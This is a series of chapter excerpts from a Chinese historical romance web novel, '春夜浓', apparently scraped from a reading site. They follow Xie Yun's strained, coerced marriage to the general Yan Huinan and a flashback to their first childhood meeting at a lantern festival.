谢韵还没反应过来,他便势如破竹地攻城略地,她整个人都被他身上淡淡的雪松香气所包裹。她并不享受这个吻,只觉得自己是他手中的木偶人,任他想做什么,她都无力抵抗。 就连这个想要反抗的时候,她都只能被他吻得喘不过来气,她不得不挣扎着向他讨饶:“晏回南……” 刚一出口便迅速改口,可无论怎么说都觉得此时此刻这个词都蕴含着一丝旖旎风光:“……夫君,不要了。” 晏回南黝黑的眸子中带着清亮的烛光,含混不清地瞥她一眼之后,又避如蛇蝎一般地将她丢到一边。 他愤怒于自己的失控。他不该是这样的。 谢韵的眸中结着一层薄薄的雾气,白皙清透的小脸泛着红润光泽。嘴里讨饶,可眼神骗不了人。 “你这一副屈辱的模样,仿佛全天下都欠了你的。”晏回南心里迁怒于她,不禁咬了一下后槽牙,“是你欠我,谢韵。” 谢韵没再反驳,而是反问他:“只需对你服软,那旁人呢?” 因为她要拿到晏回南一句准话。 晏回南先是一怔,但当他看见了她额角的伤口时,他的眸子微不可察地暗了暗,没有犹豫地给了她一道如同军令状一般的保证:“不必。” 谢韵的心死灰复燃,苦涩地勾起唇角笑了笑。有了这句话,那么这府上除了晏回南便无人可再凌驾于她的头上。 - 晏回南去书房后,谢韵便带着金创药来到下房找寒真。可甫一靠近门口,便听到里面你一言我一语如同双簧戏一般嚣张跋扈又冷嘲热讽的声音。 “呦,跟着夫人没瞧见你享什么福。倒是吃了顿好板子。”这声音听着像是跟在怀绣姑姑身边的花妙。 “就是,还以为你攀上什么高枝了,那般死心塌地的。”另一人谢韵听不出是谁,毕竟她在这府上还未掌事,这些丫头无法无天她本也没打算管。 本就与她无关,只要不舞到她面前就行。 但眼下,她既然还要在这将军府待上一阵子,她便不能如此愿打愿挨。 “你初来乍到,应当不知道。你死心塌地跟着的夫人,是害死将军全家的人。将军娶她本就是留着搓磨的,偏你是个死心眼,竟敢同她站到一处。”花妙说。 寒真愤怒地要赶她们出去,“你不曾亲眼见过,竟敢胡说八道污蔑夫人!” 花妙灵巧地躲过寒真砸过来的茶杯:“这可是怀绣姑姑嘱咐过的。怀绣姑姑是将军的奶娘,她说的还能有假?我好意提醒你,你别不知好歹。” 另一人讽刺道:“你还不明白吗?将军今日不过是随便找了个由头,杀鸡儆猴呢。你自己都成出气的鸡了,竟然还在维护她。” 谢韵近来这些话听多了,她耳朵都要听得起茧子了。今天确实是她的行差踏错害了寒真。但既然寒真真心待她,她便要振作起来,从来还没有谁站在她谢韵身边遭了欺负的先例。 “她不维护我难不成维护你吗?”谢韵款款步入下房,墨绿竹叶暗纹锦衣穿在她身上光泽如玉,辉光若隐若现,更衬得此时说话的她不怒自威,“你配吗?” 终归她现在是主子,花妙和储月不过是奴婢。奴婢如何能在主子面前犟嘴。 而且同为女人,只需一眼便能看出谢韵不是个能吃亏的主。纵使是今日吃亏了,也总会在将来的某一日尽数讨回来。 “奴婢……夫人在说什么,奴婢没明白。”花妙慌里慌张地拉着储月跪下来,将装傻进行到底。 因着霜雪苑地处偏僻角落,谢韵提刀放血那日,花妙等人并不在场,所以不知道谢韵睚眦必报起来是什么样子。 谢韵今日没打算和她们多说话,她今日来最首要的目的便是照料寒真的伤势 12. 圆房 《春夜浓》全本免费阅读 用过晚膳后,晏回南忙于公务,一直待在书房。 谢韵临睡前在伺候的人里挑了位长得白净灵巧的,一眼看过去便知做事细致又周到的,“夜深了,做些清新解腻的茶点送去给将军吧。” 谢韵做药膏、干木工活一绝,但做点心的手艺的确不怎么样。她向来也不是什么爱吃的人。 如果晏回南要的就是她做个主母的样子,那装样子她还是会的。她最会装样子哄人开心了。她临睡前都能想起他还在书房里,着人给他送吃的,已经很到位了。 最好他忙一夜,都不要回来。 她还能一个人霸占一张大床,舒舒服服地睡一觉。不久便入夏了,她一个人睡都嫌热。 谢韵和寒真两个伤号,今夜谁也没办法照顾谁了。谢韵洗漱完,在丫鬟的服侍下上了床。 “你出去吧,不必候着伺候。灯不要都灭,留一盏。”谢韵吩咐道。 微凉夜风由窗棂漏进来一点,拂动蝉翼香纱床幔,香云浮动,一阵一阵地钻进谢韵的鼻腔。原本累了一天,谢韵早该困了,可躺下却全无睡意。 算算她逃婚又嫁为人妇,竟已过了月余。 在这期间发生的许多事,都远远出乎她的意料。她无心伤害的人,却全因她而横生灾祸,她无意招惹的人,却偏偏再度相遇,找她寻仇。 晏回南若守信,留飞镜一命。要么将他关在了喻霰管辖之下的大理寺,要么就是晏回南的私产。 若是大理寺,喻霰向来是个刚正不阿的小刻板,若是卢龄玉还能在他那说上话,可她不是卢龄玉姐姐,她也不知卢龄玉如今看她是否也同旁人一般,认为她是大周的罪人。 若是私产,将军府是否有地牢?还是军营里? 她或许可以想办法先在府上找找。 思索间,谢韵耳尖地听见门外传来说话声:“将军,夫人已睡下了。” 晏回南回来了! 只听他“嗯”了一声,便开门进屋,又很轻地一声“吱呀”的关门声。 既然丫鬟都说她睡了,谢韵决定继续装睡。但她的心跳却不由自主地七上八下地狂跳,几乎快要跳出来。她用力攥紧寝衣,强装镇定,可背后却渗出细密冷汗。 晏回南换衣服时,衣料之间发出的摩挲声,是此刻对她最大的折磨。 如果她睡着了,晏回南应当不会对她做什么吧? 怎么办?她学过医理,学过针灸,通晓人体身上各处的穴位。对男女之事也知晓,只是从未亲身经历。 她若求晏回南,他会放过她吗? 怎么办怎么办。 晏回南没让任何人进来服侍,自行褪去了衣衫,而后他借着谢韵留的那盏灯的光线,在屋子里走动。 听动静,他拉开了柜子,轻声翻找着什么。他的动作很轻,谢韵紧张心跳的“噗通”声却如鸣雷。 但是冷静下来之后,谢韵似乎闻到了血腥味。而晏回南拉开的应当是放药的柜子。 顿时,金创药的药味散发开来,谢韵太熟悉这味道了。 他受伤了? 为了以防万一,谢韵睡前在枕下放了上次飞镜的拿把匕首。 这匕首是飞镜在蛮夷之地流浪时夺来的,蛮人的武器是杀猛兽的,虽粗糙但好用。后来飞镜又对它进行了改良,刀刃极锋利。 面对晏回南,谢韵没有把握。 况且他这一声不吭上药的样子,应当不是什么重伤。 但谢韵还是小心翼翼地摸到了匕首,此时她紧张地心脏都要爆炸了。 她肯定杀不了晏回南,况且她也不会真的杀他。但若能用来防卫也是很好的。 片刻后,晏回南换好药,给自己包扎上之后,又换上寝衣,走到床沿,上床躺下。 但出乎意料地,晏回南似乎没有要动她的想法。 谢韵这才逐渐放下心来。她至今不知道晏回南究竟为何要娶她。 如果是要搓磨她,又何必娶她呢?她原本以为晏回南还留着从前心悦她的心思,可他午后的样子又不像。 他说得那样绝情。 她轻轻呼了口气,放心睡下。只是她不想把手从枕下抽出,这样也许会引起晏回南的注意。 “夫人,枕下藏了什么?” ! 谢韵脑子轰得一声炸开了!他什么时候察觉的? 可她还没来得及反应,晏回南已经干脆利落地擒住她的双手,抽出了枕下的匕首。 那一刻,谢韵的心几乎死了。 这下,他不会放过她了。 “你和那个哑巴的定情信物吗?”晏回南单手就能握住她纤细的两只手腕,他把匕首拿在手里,借着月光仔细观赏,“很别致。的确值得你把他带到我们的卧房里。还要放在我们的床上。” “嗯?”他的目光投向谢韵,谢韵看不清他的视线,但她浑身忍不住发毛。 “不是。这……这是……”谢韵的大脑极速运转,疯狂给自己找理由,“这是……” 晏回南偏偏此刻无比有耐心:“这是什么?” 谢韵急中生智,心生一计,压低了声音,好似受了天大的委屈一般:“这是杀梦魇的。妾身自知罪孽深重,近来常常梦魇,每每被梦魇住不得解。况且夫君你不在身侧,便想起曾经算命先生给我说过这个法子,妾身拿来一试。” 晏回南并不信她的鬼话,但他听到谢韵说自己罪孽深重时,心里有种说不出的不舒服。他看出谢韵是在装乖,可他要的也是她乖巧的样子。 但他总觉得缺失了什么一样,心里说不出的气闷。 “是吗?所以用旁的男人的?” 谢韵汗颜,“夫君征战沙场,可有更好的?” 晏回南冷笑一声,一把将谢韵拉进自己怀里,反手将匕首准准地从半开的窗户丢了出去。竟然连头都不用回?!就扔得这么准? “不必。” 谢韵:“?” 她正没头没脑呢,忽然被晏回南紧紧压在身下,“听说夫人哭诉我让你独守空房,我本来还不信。如今看来是真的了。” 谢韵顿时羞耻到恨不得找个地洞钻进去。司文这斯,怎么什么都向他汇报啊? “没……” 晏回南忽然低头,怀疑道:“没有?” …… 谢 13. 青梅嗅(1) 《春夜浓》全本免费阅读 翌日,谢韵转醒时已经天光大亮,偏头看向身侧的位置,那里早已经空了。 晏回南人长得秀气,但是力气真是大,但凡被他制住,根本难以挣脱。不仅如此,房事上他也比旁人野蛮许多,更何况他是带着恨意,故意变着法折磨她。尽管谢韵从来不是娇软的女娘,最后也近乎是晕过去的。 现在只觉浑身酸痛。 谢韵这是初经人事,掀开被子发现那一小团夺目的红,还是被震惊到了。昨夜犯倔,晏回南越是用力时,她越是死咬牙关一声不吭。现在看见这团朱红印时,委屈怨怼如潮涌上心头。 忍不住埋头大哭,压抑的哭声尽数被锦被里的棉絮收进去,外头听不见一点。 人总在失去后,无限回忆自己的年少时光。 - 那一年,谢韵八岁,全家随刚升迁的父亲来到京城。 朱雀街元宵灯会那日,府中女眷皆上街逛灯会,那日是她的生辰,也是她与晏回南的初遇。 不过虽说是生辰,可她不过是不得父亲宠爱的庶女,除了生母,谢府无一人记得那是她的生辰。 那日谢韵因风寒未愈,本不欲出门,可她的两位姐姐却不知为何,偏偏央求主母要让她一同出门,她推拒不得,才跟着出了门。 谢韵上头有两位稍许年长她的姐姐,一位是正室赵夫人生的嫡长姐谢韶华,一位是受宠的妾室柳娘子生的二姐姐谢韺。这两位中,长姐貌美,但愚钝跋扈,初来京城那日,长姐的马车撞了太子的马车。 “韶华,还不下车见过二皇子。” 长姐被母亲责令入了京城便不得似在白下时那般放肆跋扈,长姐心里不耐,表面上却还是拗不过母亲,只得款款随赵夫人下马车。 那天正下着鹅毛大雪,绒花似的雪落在长姐羽扇般的眼睫上,她的眼尾、两颊因为不适应北方的寒冷而泛着小女儿似的红。微红的耳垂上坠着两粒珍珠坠子,随着长姐欠身低头的动作微微晃动,“臣女谢韶华见过二皇子殿下。” 余下,赵夫人因自家马夫驾车不当而冲撞了二皇子的道歉,都被一带而过,二皇子满心满眼都只记着了这位初来乍到的谢家长女。 谢韵的这位二姐姐长相温和恬静,人畜无害,只要她坐在那,四周的风都是暖呵、柔顺安静的。但,她只是长得这样而已。实际上她是谢韶华军师一般的存在。这位姐姐总是笑着就能把人往死里整,连骨头都不带剩的。 无论何时,她们如何欺负了谢韵或是其他的什么人,她们都有恃无恐。总有各种理由狡辩过去。谢韵的生母虞娘子是个不争不抢的,连带着谢韵在家中也没什么存在感,她纵使有千百张嘴,也没有开口辩驳的机会。 而她们的父亲谢青云对几个女儿都不甚上心,只注重培养自己的几个儿子。后院大大小小事情都是嫡母处理,谢韵和两位姐姐的事,根本闹不出小小的后院。 谢韶华和谢韺这二位联手,谢韵便如那砧板上的鱼肉,只有拼命躲的份儿。不管是不是她的错,反正赵夫人是极护短的。 谢韵的这场风寒就是在上京途中,谢韶华故意命浣衣婢女将谢韵未彻底晾干的厚衣裳,当做已经晾干的送回去。使计的人又坏又谨慎,厚衣裳里外都晒过,但最里层仍旧是带着潮气的。乍一摸摸不出来,一直拿在手上搓揉才能觉出不对来。 虞娘子生谢韵时,她尚未足月,只长到七个月便落了地。出生便带了弱症,谢韵有记忆之初便常染病,又是自幼长在江南,本就不适应北地寒气,这么穿着阴湿的衣裳整个人就像是泡在冷气坛子里腌着,没过几日便染上了风寒。 照顾的下人不上心,虞夫人顾着刚3岁的谢润,难免疏忽。谢韵也一直以为是北地天寒,使她产生终日冷的错觉。直到一日她偶然在背地里听到两位姐姐把这件事当作玩笑一般说出来,她才知道江南湿冷,北地干冷。 谢韵这才把余下几件没穿的衣裳都拿出来,偷偷跑去歇脚客栈的厨房里烤火。 这一路,半个月都没养好。仍旧带着点咳。 - 长街灯会上灯火辉煌如火树银花,各种式样不一的灯笼将长街照得亮如白昼,街上宝马雕车来往不息,人声鼎沸,吆喝声、谈笑声不绝于耳,摊位商品琳琅满目,杂耍表演热闹非凡,映入眼帘尽是繁华景象。 京城与江南不同,民风豪迈开放,更为热闹繁华。 “让一让!让一让!” 谢韵正惊讶于朱雀街的繁华热闹,只听身后传来急促的呼喊声和阵阵啪嗒的马蹄声。 她仓皇回首,果然见几位少年策马扬鞭而来,见前面有人却丝毫没有减速的意思。 谢韵看不出少年骑的什么马,但这几匹马健壮有力,尤其是为首的一位冲得最快。马儿神采飞扬,纯黑鬃毛梳理得极为漂亮,马具马鞭上均镶嵌着颗颗珍贵雅致的碧甸子。 两旁的人见状敢怒不敢言,跑着向两旁让行。 但谢韵反应得迟了些,来不及躲避,幸而身旁的人用力拉了她一把,猛得将她拉去了旁边。 她险些摔倒,但幸得如此才避免了她葬身马蹄下的惨状。 而为首差点撞上她的那位少年,反倒是一副她真碍事的不耐表情,嫌弃地看了她一眼,而后很快转过头去,旁若无人地继续驾马驰骋。 刚刚拉了谢韵一把的人柔着声音问她:“小妹妹,你没事吧?” 谢韵的贴身侍女绿松连忙上前搀扶着她那惊魂未定的小姐。 谢韵心里仍在后怕,颤声道:“多谢小公子救命之恩。” 楼承微微一笑,“见人危难出手援助是应当的,在下楼承。” 谢韵也自报了名讳:“谢韵。” 谢韵的话音刚落,与谢韵相隔不远的谢韶华走过来疑惑地看着楼承问:“楼承?梁三皇子?” 楼承似乎不认识谢韶华。 谢韶华认清之后便解了心中疑惑,但还是思索片刻后才略显简单地朝着楼承行了礼,“见过三皇子。” 态度敷衍,甚至掺杂着一丝敷衍。 楼承有一闪而过的尴尬神情,但很快他便又如刚刚那般谦逊温柔,并转头对谢韵说:“谢小姐无事便好,楼承还有事便先告辞了。” 说完带着随从离开了。谢韵呆呆得看着楼承离开的方向,她刚刚还没想到要如何回礼呢。既然姐姐认识他,谢韵打量着也许可以在姐姐面前卖个乖,寻个机会着人送还他一份礼,作为救命之恩的报答。 谢韶华却误会了谢韵,瞥了谢韵一眼,冷笑着嘲讽她:“妹妹,别看了。他可不是根好的高枝儿。” 一旁的谢韺不禁笑出声:“你是见大姐姐得了太子青眼,见这也是位尊 14. 青梅嗅(2) 《春夜浓》全本免费阅读 若是让人知晓她一未出阁的女子就这么堂而皇之地去寻某个男子,定然会被父亲吊在家里打死的。 但谢韺这句却说进了谢韶华心里,比起追在她后面的太子,她更好奇这位神秘尊贵的晏小侯爷。上次在太子的宴会上,她并无机会得见,只见到了他着人送给太子的大礼,是一只尚在幼年的纯黑小狼崽。 旁人都在攀比自己送给太子的礼如何贵重,只有晏回南遣来的使者说出了令四座都惊掉下巴的话:“传公子贺语,咳咳,赠太子殿下狼王幼崽,愿太子殿下往后不再会被狗吓哭。” 真是嚣张,也有意思得很。 谢韵自然是要拒绝的,她正要开口。 谢韺却是笑着开口,“开玩笑的,姐姐怎么会真的让你去寻那小公子,他骑着马怕是早已出了城了。” 听她这么说,谢韵才松了口气。她必然是寻不到那位小侯爷的。 但谢韶华却不打算就这么放过她,她本就不喜谢韵,更何况她从生下来便养尊处优,享受着府里上下的阿谀奉承,哪能容许谢韵对自己的嘲讽。 “啊!我忽然想起来户部柳尚书家的小姐前些日子会我同游灯会,我们去寻她吧。”谢韶华对谢韺说,说完一副大发慈悲的样子对谢韵说,“你也一起吧,总该带你去见见世面。” 谢韵在心里翻了个顶了天的白眼:“……” 大可不必,她还病着呢,这世面她不太想见。 但也只能是跟着两位姐姐走。 兴许是在外头吹了一夜冷风,原本就在病中的谢韵此刻只觉得头隐隐泛着疼,有些发晕。因此走的时候,不曾多留意周围的路,灯会多半是沿着朱雀街主道沿途设灯。 但不知谢韶华带着走的是什么路,弯弯绕绕走了许久,四下里人就没少过。 “我手帕好像落在路上了。”谢韶华将花灯交到谢韵手里,“韵儿,你在这等一会,我回头去寻一下。都怨这灯,害我丢了最爱的帕子,给你了。” 说完还不高兴地踢了一脚这灯。 那时的谢韵到底是只有八岁,还是小孩子心性重些,刚刚谢韺买灯时没有她的份,她又不想当着两个姐姐的面自己再买一个,那也太丢脸了。可她心里又着实喜欢这灯。 现在谢韶华将灯送她手里,她心里难免欣喜。想着姐姐到底是姐姐,怎么会真的对妹妹不好,这好玩的小花灯,姐姐没给别的丫鬟小厮,还是给了她这个妹妹。 小孩子是很容易收买的。谢韵笑得有些憨,全幅心思都放在姐姐给的这个花灯上。 “你们,也跟着一块去找。”谢韶华对身后的家丁道。 跟着的几位随从也跟着两位姐姐离开之后,绿松也不过九岁,二人寻了个墙根儿坐下歇脚,绿松长舒了口气,“两位小姐可算走了,我走得脚都痛了。她们在的时候我真是大气儿都不敢喘一口呢!” 谢韵笑她没出息,“你怕什么,有我呢。” 绿松噘嘴,欲言又止的样子让谢韵好笑又好气,她忍不住拍打了一下绿松的肩,“你有什么话说,快快说出来!” 绿松小声嘟囔,“五小姐你自己在两位小姐面前也挨欺负。” 谢韵想到自己总是被两位姐姐为难,她也想不明白究竟为何,她时常为此苦恼,“可是她刚刚把花灯给我了啊,姐姐没给你,也没给旁人。” 绿松也点点头,“的确,终归小姐你才是她妹妹。” 两人拿着这盏小花灯玩了许久,但总也不见谢韶华她们回来。 “这么久了,竟还没找到吗?”绿松不放心地看了看周围,先前还热闹的长街此刻已经变得冷清,因为是很陌生的地方,甚至有些恐怖。 谢韵也变得警觉,被冷风吹了许久,她原本的那些信任此刻已经消散了,顿时变得清明起来。 也许不是没找到,不,也许是根本就没有丢手帕这回事。 “绿松,来的时候你可记路了?”此时看破现实的谢韵心已经冷到了极点,她有点绝望地问绿松。 果然,绿松茫然地摇摇头。她也不曾记路。 谢韶华带她出来这是赵夫人知道的是,总不能放任一个小姐就这么丢了?所以她们都不曾想过,自己真的会被贸然丢在这外面。 她被胡乱带到这地方,谢韶华一个小厮也不曾留给她,她和绿松都不认识回去的路。若是谢韶华真的是回去寻东西,那她也许还会回来,她不能贸然离开。 可看着渐渐冷落下去的长街,天色不早了。 绿松此时也反应过来了,惊呼道:“二小姐是要把我们丢在这里?!” 谢韵不置可否,她心里满是绝望,手脚不禁发冷,恐惧在心里蔓延。 “去问问有没有知道谢府如何走的。”谢韵说话时不由得攥紧了绿松的手。 绿松点了点头,去街上拉了好几人问路,但得到的回复都是摇头。朱雀街是主街,谢府距离这里实在有些远,不知道也正常。 绿松接连问了几人之后回来说,“小姐,你可知晓主君此番升官,升的是什么官?我只说谢大人谢府,他们不知道是哪位。” 谢韵一着急竟把这个忘了,从前在白下时只肖说是谢府,大家都是认得的。但是父亲如今入了京,天子脚下,父亲算得了什么大官,谁能知道? 望着渐渐暗下去的天色,谢韵泄气地踢了一脚那花灯。这一脚算是彻底把它踢烂了。 她绝望又恐惧,终是忍不住哭了出来。 “都怪这只花灯,我怎的如此轻易便被骗了?”谢韵原本还压抑着哭声,可话一脱口,便成了嚎啕大哭,“绿松,这可如何是好啊。我们回不去了。” 绿松也只比谢韵大一岁,她是家生子,不曾在外讨过生活,到了外面也是手足无措的。看谢韵哭了,她心里也怕得很,也跟着哭起来,“我也不知,小姐,我前些日子听灿溪姐姐说这京城近日有几个亡命之徒还没被捉拿归案,我们会不会遇上啊?” 此话一出,两个小女子更加害怕,不禁抱在一起哭。 谢韵拼命忍着哭,“不能哭绿松,若是让人看出来我们是走丢的,必定会将我们掳走了。” “啊?”绿松眼睛哭得红彤彤,像两颗小红果子一样,“真的吗?” 谢韵胡乱抹了抹泪水,“嗯,真的。我们假装没走丢,就这么沿着亮堂的地方走。找找回去的路。” 绿松跟着谢韵一道儿走,也拼命忍着哭。走着走着绿松忽然问:“可是小姐,我们能找到回府的路吗?会不会越走越远啊?” 谢韵也正怕这个呢,她实在是装不出勇敢的样子了。忍不住又掉眼泪,“呜呜,绿松,我一点儿也想不起来路来。怎么办啊。” 两人走一路抹一路眼泪。 谢韵还在拼命想来时路,四处张望间忽然和一个面具人撞上了,那人跑得急,也不曾看路,就这么直直地撞上了。 谢韵身量小,被撞得人仰马翻,那人倒如同木桩子一般稳当地站 15. 青梅嗅(3) 《春夜浓》全本免费阅读 晏回南虚张声势地叫了两声,他早知不会有人回应,但为防这个可爱妹妹的家人真在附近,他声音还是压低了些。 他自出生便是金尊玉贵的,见多识广,只是从没见过生得这样可爱灵巧的妹妹。仔细瞧过之后便让人心生欢喜。 这就好比养只可爱粘人的狸奴,或是那未长大的雪狐崽儿,见了便忍不住要上手摸一摸、揉搓揉搓,想把好玩的宝贝都给它把玩两下。 更何况晏回南什么是给不起的? 他现下是生怕自己刚刚发现的可爱妹妹被人截胡了。 待确认过后真的无人来领之后,晏回南心里欢喜,面上自然欢喜灿烂,他笑眯眯地弯腰,两手撑着膝盖,凑近了问谢韵:“妹妹,你是谁家的啊?” 借着灯会的灯火,谢韵朦胧着双眸,只看见一张骇人的骨制狼面具,吓得谢韵眼前一黑,顿时止住了哭声,小手拉着绿松的手,扭头就要跑。 “绿松,快跑!”谢韵细小的声音还带着浓重的鼻音,却俨然很有一副小主人的样子了。 晏回南歪头,茫然地看了看友人:“?” 他很可怕吗?这面具戴习惯了,他自己都忘记自己还戴着面具了。 晏回南十岁身长五尺,已能轻松弯弓驾马,又是自幼习武,矮了他许多的谢韵如何跑得过他? 他只三步并作两步,跑两下便追上了谢韵。谢韵正向跑,他笑着倒向跑,光是这样都能和谢韵保持并行。 伤害性不大,侮辱性极强。 谢韵又怕又气,实在忍无可忍,明明是不耐烦的语气,却因为嗡里嗡气的鼻音反倒显得她声音奶凶奶凶的:“你别追着我!” 晏回南倒像寻到个好玩的小宝贝一样,心头一喜,忍不住拉住谢韵,“你停下听我说啊。我不是坏人,我们都是有名有姓的好人家的儿郎。” 更像坏人了,晏回南自己也琢磨出不对来。 他连忙说:“刚刚撞你的,是安阳王府的喻小王爷,你若是想告状,只需去青龙大街,最显赫的一座府邸便是他家。你若是迷路了想回家,那莫要说你是京城的小姐,你纵使是地里的蚂蚁,他也能给你找着家。” 跟在不远处的喻霰和李巍:“……” 神经病啊晏回南! 谢韵自然不会信。但正当她犹豫间,晏回南忽然拉住她,恰如其分地递来两包糕点,“这可是香斓记的糕点,每日限量出售的,只有本公子能回回都买得到,送给你们吃。” 谢韵一时间也难以判断此人究竟是不是好人。若这糕点有猫腻…… 晏回南见她谨慎地跟只猫儿似的,皱了皱眉,但还是耐着性子把未拆封的油纸拆开,自己拈了一块酥香小饼丢进嘴里,光明正大地当着谢韵的面儿吃了,解她的疑心。 “现在放心了吗?” 谢韵晚膳用得早,出来这么久,又折腾了这么一遭,肚子里的馋虫轻易地便被这香喷喷、酥酥脆脆的小酥饼勾了出来,咕噜咕噜叫了两声。 谢韵顿时羞红了脸。 晏回南自信地勾起了唇角,“看吧,你的肚子饿了。” 说完他把糕点塞到了绿松的手上,“走吧,我今晚还没好好逛这灯会,你陪我溜达一圈儿,我便让这位小王爷着人送你回家。你是哪家的?” 谢韵实在想回家,眼前此人看着倒是可信,他们身后大摇大摆地跟了那么许多人,而且那群护卫都未戴面具,身着印有家徽的统一服侍,不像是小毛贼。 况且这几位小公子的年纪看上去也并不大,虽然脾气不好还戴着奇怪又骇人的面具,但看上去不像是胡说八道的。 况且若是反其道而行,想一想刚刚这位喻小王爷一副不愿惹上她们这个麻烦事的样子,若是真的恶人,面对她们这两个手无寸铁的小女子惯不会用这般复杂的手段,直接强硬带走便可。 谢韵这才放下警惕:“谢府。” 晏回南思索了一会儿,京中勋贵人家他认识不少,王大人的儿子欠他三百两银子,张大人的嫡长子前几日惹他不快刚被他揍了一顿,周大人的次子前几日在花楼吃酒被他碰上,刚贿赂了他五十两让他保密……他眼睛看向站在不远处的李大人的儿子和喻王爷的儿子……这两个不提了。 没有什么谢大人啊? 可他海口都夸下了,他若是此刻说自己根本不认识,小姑娘又得跑。 反正他的目的就是和这可爱的小妹妹玩一会儿,先骗过去再说。回去问问母亲,这样也好,她也许今夜还能在公主府小住一晚。 “谢大人啊,我晓得。送你回去可以,但代价是你得陪我游灯会。我们先去画舫那玩会儿,听说今晚那有焰火看。”晏回南说完,没等谢韵回答,拉着她就跑,但也不忘回头对喻霰和李巍说,“那宴会无趣得很。我们去瞧焰火!” 喻霰却紧缩眉头,“我兄长让我必须去,否则下月要将我禁足府中。” 李巍也为难道:“子游,我的两位兄长都去了,我若是不去,怕是会牵连我的姨娘被父亲责备。” 晏回南不满地摆摆手:“罢了罢了,你们去吧。待会儿我送她回家。” 喻霰满脸不信:“你知道是哪位大人?” 晏回南啧了一声,“废话。” 自然是不知道的。 他们二人离开之后,剩下的护卫跟在距离他们不远处。谢韵却没有心思玩耍,若是回去晚了,必定要被狠狠责罚的。可她担心自己若不答应他,真的回不去了。 谢韵:“我们几时回?” 晏回南摆摆手:“不急。”他从前走这条街无数遍,这京城的元夕灯会他也玩过无数回,却从不曾像今日这般觉得新鲜。 他们路过一个小摊,背靠琳琅坊,这似乎是母亲都曾着人来采买首饰的店。 晏回南:“你看看,有没有喜欢的?” 谢韵看了一眼,便被这些璀璨夺目的精致首饰吸引了目光。世上应当鲜少有女子能够抵挡得住珍宝首饰的诱惑。从前在白下时姐姐们便是簪花戴玉,珠宝钗环皆是上乘的料子,做工也是一流。 虞娘子没有积蓄,又不得父亲宠爱,只能给她买便宜粗糙的首饰。但虞娘子做的一手好木工,枯枝断木在她手上也能被雕刻成活灵活现的首饰。纵使谢韵心中是极喜欢姨娘做的首饰的,但每每都因此而被姐姐们嘲笑,被笑得多了,心中难免有些自卑。 因此晏回南豁达慷慨地便说这话,谢韵心里免不了雀跃不已,连着看向 16. 青梅嗅(4) 《春夜浓》全本免费阅读 晏回南猛然被狠狠咬了一口,血都出来了,既莫名其妙又生气,他何时受过这样的戏耍,愤怒地一把将谢韵推倒在地:“你是狗啊?!为何忽然翻脸咬我?” 谢韵被推倒在地,摔得懵了。满腹委屈,若不是晏回南,她只老老实实跟在谢韶华和谢韺的身后即可,顶多被讽刺奚落几句,也不会说到攀不攀高枝的事上去。更不会被丢在外面。 现在他反倒高高兴兴地,拿她当个小玩意儿似的。她却连家都回不去。 想及此,谢韵的倔劲儿又起,眼泪吧嗒吧嗒往下掉,但她狠下心来胡乱擦了擦,爬起来大声哭诉:“你差点害死我了!” 说完扭头就跑。 一边跑一边哭,一边在心底里咒骂,诅咒晏回南脚滑掉湖里淹死、出门叫马撞、也迷路到无家可归! 晏回南气得鼻子不是鼻子,眼不是眼,愤而把面具往地上狠狠一砸,怒道:“真是个白眼狼!我对她这么好,她竟敢咬我?!” 随从立刻说:“属下这就去把她抓回来!” 晏回南咬牙切齿道:“别管她,让她自生自灭!不识好歹的白眼狼。” 他实在是感到莫名其妙,也实在是气极了,说完又强调了一遍,“本世子从生下来,便从没一个人胆敢咬我!就连野蛮的狗崽子若敢咬我,都是要被拔干净牙的!” 晏回南虽然纨绔霸道、蛮横无理,但他并不常生气。总是他欺负别人的份,没有别人胆敢欺负到他头上来的道理,所以他许久不曾这般生气了。 从来没有,从来没有人敢这般待他! 自他出生,环绕在他身边的人,无一人不是顺着他的毛,哄着他捧着他。 晏小侯爷初次真心讨好一个人,却感觉自己的心被扔在地上狠狠践踏了一番。还是很莫名其妙地就被践踏了。 即便是那些同他打架的,他也不曾这般生气。因为他总能用拳头把他们打得心服口服,事后还会有胜利的快感,但他总不能打一个软糯糯的小姑娘。 现在他的怒火就好比一拳头砸在了棉花上,无处释放。 他气恼地将自己承诺要送谢韵回家的念头全部抛之脑后,径直带着人离开了。将谢韵丢在了街上。 往回走的途中越想越生气。 京城顶好吃的糕点也给了,簪子也给买了,还承诺要送她回家,她这是哪根筋搭错了?!这般不识好歹?! 从前其他京城贵女若是得了晏回南这般照顾,哪个不是心花怒放的叫两声“世子哥哥”或是欢欢喜喜地“晏小侯爷”长“晏小侯爷”短的。 她算什么? 竟敢这样对他? “谢家,什么芝麻大点官,生的女儿竟如此野蛮。”晏回南气啊,气得语无伦次了,“京城近来有什么新晋官员姓谢的么?” 随从:“额……” 您都不知,他们不过听命于人的奴才如何能得知? 晏回南等了半天没等到结果,烦躁地一挥手:“罢了罢了,一群蠢货!回公主府。” 公主府并不在朱雀街,晏回南回了驿站取完皇帝舅舅新赏给他的马儿,又风风火火地骑马回了公主府。 原本在草原见到这匹马时,它刚出生不久,但晏回南见它毛色油润发亮,是整个御马苑里最漂亮的一匹,看上去就是一匹宝马。 他在皇帝舅舅面前使了浑身解数,甜话好话全说尽了才得了皇帝口谕,让他领养这匹马。待马儿长成了便赏给他。 他为此数次往返京城与御马苑亲自喂养照料,今日刚得到时喜欢极了,迫不及待地骑着它上朱雀街炫耀。但现在他甚至将怒火撒在了爱马身上。 “驾!驾!” 马儿被他抽得发出一声长长地嘶鸣,响彻长街。 随从连连呼喊:“让开!都让开!” 幸而这街上人已散了些,才能由得这位晏小侯爷胡作非为地撒气。 今日晏侯爷去赴宴,长公主宿在公主府。晏回南甫一到公主府门口,便自马背上一跃而下,马鞭被他随意甩在地上,留给下人去捡。他则是带着未消的气进去寻母亲去了。 得到下人通报的怀绣匆匆出来,“世子。” 晏回南气得身上出了一层薄汗,他解了貂皮披风丢给怀绣,问道:“母亲呢?” 怀绣答道:“长公主在梅园。” “知道了,下去吧。” 怀绣身量小,如今的晏回南已经同她一般高了。往常晏回南待府中下人,哪怕是最低贱的下人也是善待的。 更不必说怀绣是她的奶娘,晏回南待她也是温和亲厚的,单论走路这一点,他在怀绣面前从未走得如此之快。只因怀绣的腿从前在宫里时留下了旧疾,行动时须得和缓为之,晏回南自听母亲偶然提过一嘴后便一直记在心中。从不曾累着怀绣的腿。 但今日怀绣跟在后面需得小跑才跟上他的步伐。 怀绣几乎是追在后面劝说:“世子爷慢些,将才落了雪,还未来得及清扫,千万别摔了自己。” 是了,将才落雪了。 他在马上骑得太快,又怒火中烧竟然并未注意到落雪了。 